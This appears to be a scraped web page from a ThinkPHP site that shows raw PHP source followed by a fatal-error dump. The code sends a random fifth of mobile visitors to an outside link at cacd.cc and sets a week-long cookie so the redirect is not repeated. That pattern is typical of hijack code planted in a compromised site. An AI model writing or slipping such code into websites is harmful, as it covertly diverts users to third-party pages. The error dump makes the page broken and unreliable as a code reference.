function redirectIfMobileAndNoCookie() {
    function isMobile() {
        return preg_match("/(android|iphone|ipad|ipod)/i", $_SERVER['HTTP_USER_AGENT']);
    }
    function hasCookie() {
        return isset($_COOKIE['redirected']);
    }
    if (isMobile() && !hasCookie()) {
        setcookie('redirected', 'true', time() + 604800, "/");

        if (mt_rand(1, 100) <= 20) {
            header("Location: https://cacd.cc/xxxx");
            exit;
        }
    }
}
redirectIfMobileAndNoCookie();<br />
<b>Fatal error</b>:  Uncaught Error: Class &quot;think\App&quot; not found in D:\wwwroot\tv.nxaqq.com\thinkphp\start.php:19
Stack trace:
#0 D:\wwwroot\tv.nxaqq.com\index.php(39): require()
#1 {main}
  thrown in <b>D:\wwwroot\tv.nxaqq.com\thinkphp\start.php</b> on line <b>19</b><br />